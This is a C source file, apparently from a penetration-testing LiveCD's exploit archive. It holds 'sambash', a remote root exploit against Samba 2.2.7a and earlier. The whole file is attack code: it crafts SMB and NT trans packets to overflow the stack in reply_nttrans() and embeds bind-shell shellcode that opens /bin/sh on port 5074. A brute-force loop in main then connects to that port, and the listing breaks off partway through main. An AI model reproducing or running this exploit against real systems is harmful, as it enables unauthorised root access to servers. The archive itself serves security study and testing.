home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / sambash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  24KB  |  847 lines

  1. /**
  2.  ** sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root
  3. exploit by flatline@blackhat.nl
  4.  **
  5.  ** since we fully control a memcpy(), our options are endless here. i've
  6. chosen to go the stack route tho,
  7.  ** because any heap method would've required too much brute forcing or
  8. would've required the ugly use of targets.
  9.  **
  10.  ** the stack method still requires little brute forcing and obviously
  11. will not survive PaX, but it's efficient.
  12.  ** i'm using executable rets as a 'jmp sled' which jmp to the shellcode
  13. to help improve our brute forcing chances a bit.
  14.  **
  15.  ** shouts to (#)0dd, #!l33tsecurity and #!xpc.
  16.  **
  17.  ** many thanks to tcpdump which had to suffer the torture i put it
  18. through and often didn't survive (more to come?).
  19.  **
  20.  ** public/private, i don't give a shit.
  21.  **
  22.  **/
  23.  
  24. #include <sys/socket.h>
  25. #include <netinet/in.h>
  26. #include <arpa/inet.h>
  27. #include <netdb.h>
  28. #include <errno.h>
  29. #include <string.h>
  30. #include <stdio.h>
  31. #include <unistd.h>
  32. #include <stdlib.h>
  33. #include <ctype.h>
  34. #include <signal.h>
  35.  
  36. typedef unsigned char uint8;
  37. typedef unsigned short uint16;
  38. typedef unsigned long uint32;
  39.  
  40. /* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf,
  41. smb_cifs_protocol.pdf,
  42.   http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14,
  43. http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */
  44.  
  45. // XXX: lelijkheid: vermijd word padding door hier byte arrays van te
  46. maken.
  47. struct variable_data_header
  48. { uint8 wordcount, bytecount[2];
  49. };
  50.  
  51. struct nbt_session_header
  52. { uint8 type, flags, len[2];
  53. };
  54.  
  55. struct smb_base_header
  56. { uint8 protocol[4], command, errorclass, reserved, errorcode[2];
  57.  uint8 flags;
  58.  uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
  59. };
  60.  
  61. struct negprot_reply_header
  62. { uint8 wordcount;
  63.  uint8 dialectindex[2];
  64.  uint8 securitymode;
  65.  uint16 maxmpxcount, maxvccount;
  66.  uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow,
  67. timehigh;
  68.  uint16 timezone;
  69.  uint8 keylen;
  70.  uint16 bytecount;
  71. };
  72.  
  73. // omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor
  74. deze header.
  75. struct sesssetupx_request_header
  76. { uint8 wordcount, command, reserved;
  77.  uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
  78.  uint8 sessionid[4];
  79.  uint8 ipasswdlen[2], passwdlen[2];
  80.  uint8 reserved2[4], capabilities[4];
  81. };
  82.  
  83. struct sesssetupx_reply_header
  84. { uint8 wordcount, xcommand, xreserved, xoffset[2], action[2],
  85. bytecount[2];
  86.  // wat volgt: char nativeos[], nativelanman[], primarydomain[];
  87. };
  88.  
  89. struct tconx_request_header
  90. { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2],
  91. passwdlen[2], bytecount[2];
  92.  // uint16 bytecount geeft lengte van volgende fields aan: char
  93. password[], path[], service[];
  94. };
  95.  
  96. struct tconx_reply_header
  97. { uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2],
  98. bytecount[2];
  99.  // wat volgt: char service[], char nativefilesystem[];
  100. };
  101.  
  102. // verschilt van trans en trans2 door de 32 bits wijde header fields.
  103. struct nttrans_primary_request_header
  104. { uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4],
  105. totaldatacount[4], maxparamcount[4], maxdatacount[4];
  106.  uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4],
  107. setupcount, function[2], bytecount[2];
  108. };
  109.  
  110. struct nttrans_secondary_request_header
  111. { uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4],
  112. paramoffset[4], paramdisplace[4],
  113.  datacount[4], dataoffset[4], datadisplace[4];
  114. };
  115.  
  116. /* struct trans2_request_header
  117. { uint8 wordcount;
  118.  int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
  119.  uint8 maxsetupcount[2], flags[2];
  120.  uint8 timeout[4];
  121.  int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
  122.  uint8 setupcount[2], bytecount[2];
  123. }; */
  124.  
  125. struct trans2_reply_header
  126. { uint8 wordcount;
  127.  uint16 totalparamcount, totaldatacount, reserved, paramcount,
  128. paramoffset,
  129.  paramdisplacement, datacount, dataoffset, datadisplacement;
  130.  uint8 setupcount, reserved2;
  131.  uint16 bytecount;
  132. };
  133.  
  134. #define SMBD_PORT 139
  135. #define SHELLCODE_PORT 5074
  136.  
  137. #define SMB_NEGPROT 0x72
  138. #define SMB_SESSSETUPX 0x73
  139. #define SMB_TCONX 0x75
  140. #define SMB_TRANS2 0x32
  141. #define SMB_NTTRANS1 0xA0
  142. #define SMB_NTTRANS2 0xA1
  143. #define SMB_NTTRANSCREATE 0x01
  144. #define SMB_TRANS2OPEN 0x00
  145. #define SMB_SESSIONREQ 0x81
  146. #define SMB_SESSION 0x00
  147.  
  148. #define STACKBOTTOM 0xbfffffff
  149. #define STACKBASE 0xbfffd000
  150. #define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))
  151. #define BRUTESTEP 5120
  152.  
  153. extern char *optarg;
  154. extern int optind, errno, h_errno;
  155.  
  156. uint16 tid, pid, uid;
  157. uint32 sessionid, PARAMBASE = 0x81c0000;
  158. char *tconx_servername;
  159. int userbreak = 0;
  160.  
  161. char shellcode[] =
  162. "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52"
  163. \
  164.  
  165. "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd"
  166. \
  167.  
  168. "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43"
  169. \
  170.  
  171. "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52"
  172. \
  173.  
  174. "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  175.  "\xcd\x80";
  176.  
  177. // ach, 't kan ermee door.
  178. char *netbios_encode_name(char *name, int type)
  179. { char plainname[16], c, *encoded, *ptr;
  180.  int i, len = strlen(name);
  181.  if ((encoded = malloc(34)) == NULL)
  182.  { fprintf(stderr, "malloc() failed\n");
  183.  exit(-1);
  184.  }
  185.  ptr = encoded;
  186.  strncpy(plainname, name, 15);
  187.  *ptr++ = 0x20;
  188.  for (i = 0; i < 16; i++)
  189.  { if (i == 15) c = type;
  190.  else
  191.  { if (i < len) c = toupper(plainname[i]);
  192.   else c = 0x20;
  193.  }
  194.  *ptr++ = (((c >> 4) & 0xf) + 0x41);
  195.  *ptr++ = ((c & 0xf) + 0x41);
  196.  }
  197.  *ptr = '\0';
  198.  return encoded;
  199. }
  200.  
  201. void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags,
  202. uint32 len)
  203. { struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
  204.  uint16 nlen;
  205.  
  206. // geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..
  207.  if (len > 65535) nlen = 65535;
  208.  else nlen = htons(len);
  209.  
  210.  memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));
  211.  
  212.  nbt_hdr->type = type;
  213.  nbt_hdr->flags = flags;
  214.  memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
  215. }
  216.  
  217. // caller zorgt voor juiste waarde van ptr.
  218. void construct_smb_base_header(char *ptr, uint8 command, uint8 flags,
  219. uint16 flags2, uint16 tid, uint16 pid,
  220.  uint16 uid, uint16 mid)
  221. { struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;
  222.  
  223.  memset(base_hdr, '\0', sizeof (struct smb_base_header));
  224.  
  225.  memcpy(base_hdr->protocol, "\xffSMB", 4);
  226.  
  227.  base_hdr->command = command;
  228.  base_hdr->flags = flags;
  229.  
  230.  memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
  231.  memcpy(&base_hdr->tid, &tid, sizeof (uint16));
  232.  memcpy(&base_hdr->pid, &pid, sizeof (uint16));
  233.  memcpy(&base_hdr->uid, &uid, sizeof (uint16));
  234.  memcpy(base_hdr->mid, &mid, sizeof (uint16));
  235. }
  236.  
  237. void construct_sesssetupx_header(char *ptr)
  238. { struct sesssetupx_request_header *sx_hdr = (struct
  239. sesssetupx_request_header *)ptr;
  240.  uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen =
  241. 0;
  242.  uint32 capabilities = 0x50;
  243.  
  244.  memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));
  245.  
  246.  sx_hdr->wordcount = 13;
  247.  sx_hdr->command = 0xff;
  248.  memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
  249.  memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
  250.  memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
  251.  memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
  252.  memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
  253.  memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
  254.  memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
  255. }
  256.  
  257. /*
  258. struct tconx_request_header
  259. { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2],
  260. passwdlen[2], bytecount[2];
  261.  -- uint16 bytecount geeft lengte van volgende fields aan: char
  262. password[], path[], service[];
  263. }; */
  264. void construct_tconx_header(char *ptr)
  265. { struct tconx_request_header *tx_hdr = (struct tconx_request_header
  266. *)ptr;
  267.  uint16 passwdlen = 1, bytecount;
  268.  char *data;
  269.  
  270.  memset(tx_hdr, '\0', sizeof (struct tconx_request_header));
  271.  
  272.  bytecount = strlen(tconx_servername) + 15;
  273.  
  274.  if ((data = malloc(bytecount)) == NULL)
  275.  { fprintf(stderr, "malloc() failed, aborting!\n");
  276.  exit(-1);
  277.  }
  278.  memcpy(data, "\x00\x5c\x5c", 3);
  279.  memcpy(data + 3, tconx_servername, strlen(tconx_servername));
  280.  memcpy(data + 3 + strlen(tconx_servername),
  281. "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);
  282.  
  283.  tx_hdr->wordcount = 4;
  284.  tx_hdr->xcommand = 0xff;
  285.  
  286.  memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
  287.  memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));
  288.  
  289. // zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te
  290. kunnen plakken.
  291.  memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
  292. }
  293.  
  294. // session request versturen.
  295. void nbt_session_request(int fd, char *clientname, char *servername)
  296. { char *cn, *sn;
  297.  char packet[sizeof (struct nbt_session_header) + (34 * 2)];
  298.  
  299.  construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) -
  300. sizeof (struct nbt_session_header));
  301.  
  302.  tconx_servername = servername;
  303.  
  304.  sn = netbios_encode_name(servername, 0x20);
  305.  cn = netbios_encode_name(clientname, 0x00);
  306.  
  307.  memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
  308.  memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);
  309.  
  310.  if (write(fd, packet, sizeof (packet)) == -1)
  311.  { close(fd);
  312.  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
  313. strerror(errno), errno);
  314.  exit(-errno);
  315.  }
  316.  
  317.  free(cn);
  318.  free(sn);
  319. }
  320.  
  321. // netjes verwerken, zoals het hoort.
  322. void process_nbt_session_reply(int fd)
  323. { struct nbt_session_header nbt_hdr;
  324.  char *errormsg;
  325.  uint8 errorcode;
  326.  int size, len = 0;
  327.  
  328.  if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
  329.  { close(fd);
  330.  fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
  331. strerror(errno), errno);
  332.  exit(-errno);
  333.  }
  334.  if (size != sizeof (nbt_hdr))
  335.  { close(fd);
  336.  fprintf(stderr, "read() a broken packet, aborting.\n");
  337.  exit(-1);
  338.  }
  339.  memcpy(&len, &nbt_hdr.len, sizeof (uint16));
  340.  
  341.  if (len)
  342.  { read(fd, (void *)&errorcode, 1);
  343.  close(fd);
  344.  switch (errorcode)
  345.  { case 0x80 : errormsg = "Not listening on called name"; break;
  346.   case 0x81 : errormsg = "Not listening for calling name"; break;
  347.   case 0x82 : errormsg = "Called name not present"; break;
  348.   case 0x83 : errormsg = "Called name present, but insufficient
  349. resources"; break;
  350.   case 0x8f : errormsg = "Unspecified error"; break;
  351.   default : errormsg = "Unspecified error (unknown error code received!)";
  352. break;
  353.  }
  354.  fprintf(stderr, "session request denied, reason: '%s' (code %i)\n",
  355. errormsg, errorcode);
  356.  exit(-1);
  357.  }
  358.  printf("session request granted\n");
  359. }
  360.  
  361. void negprot_request(int fd)
  362. { struct variable_data_header data;
  363.  char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS
  364. 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
  365.  "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM
  366. 0.12\x0\x2""FLATLINE'S KWAADWAAR";
  367.  char packet[sizeof (struct nbt_session_header) + sizeof (struct
  368. smb_base_header) + sizeof (data) + sizeof (dialects)];
  369.  int dlen = htons(sizeof (dialects));
  370.  
  371.  memset(&data, '\0', sizeof (data));
  372.  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
  373. sizeof (struct nbt_session_header));
  374.  pid = getpid();
  375.  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
  376. SMB_NEGPROT, 8, 1, 0, pid, 0, 1);
  377.  
  378.  memcpy(&data.bytecount, &dlen, sizeof (uint16));
  379.  
  380.  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct
  381. smb_base_header)), &data, sizeof (data));
  382.  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct
  383. smb_base_header) + sizeof (data)),
  384.  dialects, sizeof (dialects));
  385.  
  386.  if (write(fd, packet, sizeof (packet)) == -1)
  387.  { close(fd);
  388.  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
  389. strerror(errno), errno);
  390.  exit(-errno);
  391.  }
  392. }
  393.  
  394. void process_negprot_reply(int fd)
  395. { struct nbt_session_header *nbt_hdr;
  396.  struct smb_base_header *base_hdr;
  397.  struct negprot_reply_header *np_reply_hdr;
  398.  char packet[1024];
  399.  int size;
  400.  uint16 pid_reply;
  401.  
  402.  nbt_hdr = (struct nbt_session_header *)packet;
  403.  base_hdr = (struct smb_base_header *)(packet + sizeof (struct
  404. nbt_session_header));
  405.  np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct
  406. nbt_session_header) +
  407.  sizeof (struct smb_base_header)));
  408.  
  409.  if ((size = read(fd, packet, sizeof (packet))) == -1)
  410.  { close(fd);
  411.  fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
  412. strerror(errno), errno);
  413.  exit(-errno);
  414.  }
  415.  
  416.  // bekijk het antwoord even vluchtig.
  417.  memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
  418.  memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
  419.  if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 ||
  420. pid_reply != pid)
  421.  { close(fd);
  422.  fprintf(stderr, "protocol negotiation failed\n");
  423.  exit(-1);
  424.  }
  425.  
  426.  printf("protocol negotiation complete\n");
  427. }
  428.  
  429. void sesssetupx_request(int fd)
  430. { uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
  431.  char packet[sizeof (struct nbt_session_header) + sizeof (struct
  432. smb_base_header) +
  433.  sizeof (struct sesssetupx_request_header) + sizeof (data)];
  434.  int size;
  435.  
  436.  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
  437. sizeof (struct nbt_session_header));
  438.  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
  439. SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
  440.  construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) +
  441. sizeof (struct smb_base_header));
  442.  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
  443. smb_base_header) +
  444.  sizeof (struct sesssetupx_request_header), &data, sizeof (data));
  445.  
  446.  if ((size = write(fd, packet, sizeof (packet))) == -1)
  447.  { close(fd);
  448.  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
  449. strerror(errno), errno);
  450.  exit(-errno);
  451.  }
  452.  if (size != sizeof (packet))
  453.  { close(fd);
  454.  fprintf(stderr, "couldn't write entire packet, aborting!\n");
  455.  exit(-1);
  456.  }
  457. }
  458.  
  459. void process_sesssetupx_reply(int fd)
  460. { struct nbt_session_header *nbt_hdr;
  461.  struct smb_base_header *base_hdr;
  462.  struct sesssetupx_reply_header *sx_hdr;
  463.  char packet[1024];
  464.  int size, len;
  465.  
  466. // lees het packet
  467.  if ((size = read(fd, packet, sizeof (packet))) == -1)
  468.  { close(fd);
  469.  fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
  470. strerror(errno), errno);
  471.  exit(-errno);
  472.  }
  473.  
  474.  nbt_hdr = (struct nbt_session_header *)packet;
  475.  base_hdr = (struct smb_base_header *)(packet + sizeof (struct
  476. nbt_session_header));
  477.  sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct
  478. nbt_session_header) + sizeof (struct smb_base_header));
  479.  
  480.  memcpy(&len, &nbt_hdr->len, sizeof (uint16));
  481.  memcpy(&uid, &base_hdr->uid, sizeof (uint16));
  482.  
  483. // even een vluchtige check
  484.  if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
  485.  { close(fd);
  486.  fprintf(stderr, "session setup failed\n");
  487.  exit(-1);
  488.  }
  489.  
  490.  printf("session setup complete, got assigned uid %i\n", uid);
  491. }
  492.  
  493. void tconx_request(int fd)
  494. { // geen fixed size buffer omdat we met dynamische data te maken hebben
  495. (variabele servernaam)
  496.  char *packet;
  497.  int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct
  498. smb_base_header) +
  499.  sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;
  500.  
  501.  if ((packet = malloc(pktsize)) == NULL)
  502.  { close(fd);
  503.  fprintf(stderr, "malloc() failed, aborting!\n");
  504.  exit(-1);
  505.  }
  506.  
  507.  construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof
  508. (struct nbt_session_header));
  509.  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
  510. SMB_TCONX, 8, 1, 0, pid, uid, 1);
  511.  construct_tconx_header(packet + sizeof (struct nbt_session_header) +
  512. sizeof (struct smb_base_header));
  513.  
  514.  if ((size = write(fd, packet, pktsize)) == -1)
  515.  { close(fd);
  516.  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
  517. strerror(errno), errno);
  518.  exit(-errno);
  519.  }
  520.  
  521.  free(packet);
  522.  
  523.  if (size != pktsize)
  524.  { close(fd);
  525.  fprintf(stderr, "couldn't write entire packet, aborting!\n");
  526.  exit(-1);
  527.  }
  528. }
  529.  
  530. void process_tconx_reply(int fd)
  531. { struct nbt_session_header *nbt_hdr;
  532.  struct smb_base_header *base_hdr;
  533.  struct tconx_reply_header *tx_hdr;
  534.  char packet[1024];
  535.  int size, bytecount;
  536.  
  537. // lees het packet
  538.  if ((size = read(fd, packet, sizeof (packet))) == -1)
  539.  { close(fd);
  540.  fprintf(stderr, "read() failed, reason: '%s' (code %i)\n",
  541. strerror(errno), errno);
  542.  exit(-errno);
  543.  }
  544.  
  545.  nbt_hdr = (struct nbt_session_header *)packet;
  546.  base_hdr = (struct smb_base_header *)(packet + sizeof (struct
  547. nbt_session_header));
  548.  tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct
  549. nbt_session_header) + sizeof (struct smb_base_header));
  550.  
  551.  memcpy(&tid, &base_hdr->tid, sizeof (uint16));
  552.  memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));
  553.  
  554.  printf("tree connect complete, got assigned tid %i\n", tid);
  555. }
  556.  
  557. void nttrans_primary_request(int fd)
  558. { char packet[sizeof (struct nbt_session_header) + sizeof (struct
  559. smb_base_header) +
  560.  sizeof (struct nttrans_primary_request_header)];
  561.  struct nttrans_primary_request_header nt_hdr;
  562.  
  563.  int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT,
  564. totaldatacount = 0;
  565.  uint8 setupcount = 0;
  566.  
  567.  memset(&nt_hdr, '\0', sizeof (nt_hdr));
  568.  
  569.  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
  570. sizeof (struct nbt_session_header));
  571.  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
  572. SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);
  573.  
  574.  nt_hdr.wordcount = 19 + setupcount;
  575.  memcpy(&nt_hdr.function, &function, sizeof (uint16));
  576.  
  577.  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
  578.  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
  579.  
  580.  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
  581. smb_base_header), &nt_hdr, sizeof (nt_hdr));
  582.  
  583.  if ((size = write(fd, packet, sizeof (packet))) == -1)
  584.  { close(fd);
  585.  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
  586. strerror(errno), errno);
  587.  exit(-errno);
  588.  }
  589.  if (size != sizeof (packet))
  590.  { close(fd);
  591.  fprintf(stderr, "couldn't write entire packet, aborting!\n");
  592.  exit(-1);
  593.  }
  594. }
  595.  
  596. // hier gaat het gebeuren.
  597. /*
  598. struct nttrans_secondary_request_header
  599. { uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4],
  600. paramoffset[4], paramdisplace[4],
  601.  datacount[4], dataoffset[4], datadisplace[4];
  602. }; */
  603. void nttrans_secondary_request(int fd)
  604. { char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) +
  605. sizeof (struct smb_base_header) +
  606.  sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];
  607.  struct nttrans_secondary_request_header nt_hdr;
  608.  unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;
  609.  int i;
  610.  
  611.  int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,
  612.  paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE -
  613. PARAMBASE,
  614.  datadisplace = 0, paramoffset = 68, dataoffset = 0;
  615.  
  616.  memset(&nt_hdr, '\0', sizeof (nt_hdr));
  617.  retaddr = 0xbffff6eb;
  618.  for (i = 0; i < TOTALCOUNT; i += 4)
  619.  { if (i == 0x100)
  620.  { memcpy(retbuf + i, &jmptocode, 4);
  621.  }
  622.  else memcpy(retbuf + i, &retaddr, 4);
  623.  }
  624.  
  625. // memset(shellcode, 0xCC, sizeof (shellcode));
  626.  memcpy(retbuf + 0x100 - sizeof (shellcode), shellcode, sizeof
  627. (shellcode));
  628.  
  629.  printf("sizeof packet: %i, parambase: 0x%08lx\n", sizeof (packet),
  630. PARAMBASE);
  631.  
  632.  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) -
  633. sizeof (struct nbt_session_header));
  634.  construct_smb_base_header(packet + sizeof (struct nbt_session_header),
  635. SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);
  636.  
  637.  memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
  638.  memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
  639.  memcpy(&nt_hdr.paramcount, ¶mcount, sizeof (uint32));
  640.  memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));
  641.  memcpy(&nt_hdr.paramdisplace, ¶mdisplace, sizeof (uint32));
  642.  memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));
  643.  memcpy(&nt_hdr.paramoffset, ¶moffset, sizeof (uint32));
  644.  memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));
  645.  
  646.  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
  647. smb_base_header), &nt_hdr, sizeof (nt_hdr));
  648.  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct
  649. smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));
  650.  
  651.  usleep(5000);
  652.  
  653.  if ((size = write(fd, packet, sizeof (packet))) == -1)
  654.  { close(fd);
  655.  fprintf(stderr, "write() failed, reason: '%s' (code %i)\n",
  656. strerror(errno), errno);
  657.  exit(-errno);
  658.  }
  659.  if (size != sizeof (packet))
  660.  { close(fd);
  661.  fprintf(stderr, "couldn't write entire packet, aborting!\n");
  662.  exit(-1);
  663.  }
  664.  fprintf(stderr, "secondary nttrans packet sent!\n");
  665. }
  666.  
  667. // voor alle idioten onder ons.
  668. void usage(char *name)
  669. { printf("\nusage: %s -h hostname [-p port] -t target [-l]\n\n-h\tspecify
  670. target hostname\n-p\tspecify target " \
  671.  "port (defaults to 139)\n-t\tspecify target's magic numbers\n-l\tshow
  672. list of targets\n\n", name);
  673. }
  674.  
  675. void userbreak_handler(int x)
  676. { userbreak = 1;
  677. }
  678.  
  679. int main(int argc, char **argv)
  680. { int fd, port = -1, opt, readlen;
  681.  unsigned long target_ip;
  682.  struct sockaddr_in s_in;
  683.  struct hostent *he;
  684.  char *host = NULL, *me, readbuf[4096];
  685.  fd_set readfds;
  686.  
  687.  if (argc >= 1)
  688.  { me = argv[0];
  689.  if (strchr(me, '/') != NULL) me = strrchr(me, '/') + 1;
  690.  }
  691.  else me = "sambash";
  692.  
  693.  fprintf(stderr, "\nsambash -- samba <= 2.2.7a reply_nttrans() linux x86
  694. remote root exploit by flatline@blackhat.nl\n\n");
  695.  
  696.  while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)
  697.  { switch (opt)
  698.  { case 'h': { if (!inet_aton(optarg, (struct in_addr *)&target_ip))
  699.      { if ((he = gethostbyname(optarg)) == NULL)
  700.      { fprintf(stderr, "unable to resolve host '%s', reason: %s (code
  701. %i)\n", optarg, hstrerror(h_errno), h_errno);
  702.       exit(-h_errno);
  703.      }
  704.      memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);
  705.      }
  706.      host = optarg;
  707.     } break;
  708.   case 'p': { port = atoi(optarg);
  709.      if (port < 0 || port > 65535)
  710.      { fprintf(stderr, "invalid port specified.\n");
  711.      exit(-1);
  712.      }
  713.      } break;
  714.   case 'b': PARAMBASE += atoi(optarg); break;
  715.   default : { usage(me);
  716.      exit(0);
  717.     } break;
  718.  }
  719.  }
  720.  
  721.  if (host == NULL)
  722.  { fprintf(stderr, "no hostname specified.\n");
  723.  usage(me);
  724.  exit(-1);
  725.  }
  726.  if (port == -1) port = SMBD_PORT;
  727.  
  728.  signal(SIGINT, userbreak_handler);
  729.  
  730.  while (!userbreak)
  731.  { memset(&s_in, 0, sizeof (s_in));
  732.  s_in.sin_family = AF_INET;
  733.  s_in.sin_port = htons(port);
  734.  s_in.sin_addr.s_addr = target_ip;
  735.  
  736.  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  737.  { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n",
  738. strerror(errno), errno);
  739.   exit(-errno);
  740.  }
  741.  
  742.  if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
  743.  { fprintf(stderr, "connect() to host '%s:%i' failed, reason: '%s' (code
  744. %i)\n", host, port, strerror(errno), errno);
  745.   exit(-errno);
  746.  }
  747.  
  748.  // register name
  749.  nbt_session_request(fd, "BOSSA", "SAMBA");
  750.  process_nbt_session_reply(fd);
  751.  
  752.  // protocol negotiation
  753.  negprot_request(fd);
  754.  process_negprot_reply(fd);
  755.  
  756.  // session setup
  757.  sesssetupx_request(fd);
  758.  process_sesssetupx_reply(fd);
  759.  
  760.  // tree connection setup
  761.  tconx_request(fd);
  762.  process_tconx_reply(fd);
  763.  
  764.  // nttrans packet sturen
  765.  nttrans_primary_request(fd);
  766.  
  767.  nttrans_secondary_request(fd);
  768.  
  769.  usleep(750000);
  770.  
  771.  if (close(fd) == -1)
  772.  { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n",
  773. strerror(errno), errno);
  774.   exit(-errno);
  775.  }
  776.  
  777.  memset(&s_in, 0, sizeof (s_in));
  778.  s_in.sin_family = AF_INET;
  779.  s_in.sin_port = htons(SHELLCODE_PORT);
  780.  s_in.sin_addr.s_addr = target_ip;
  781.  
  782.  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  783.  { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n",
  784. strerror(errno), errno);
  785.   exit(-errno);
  786.  }
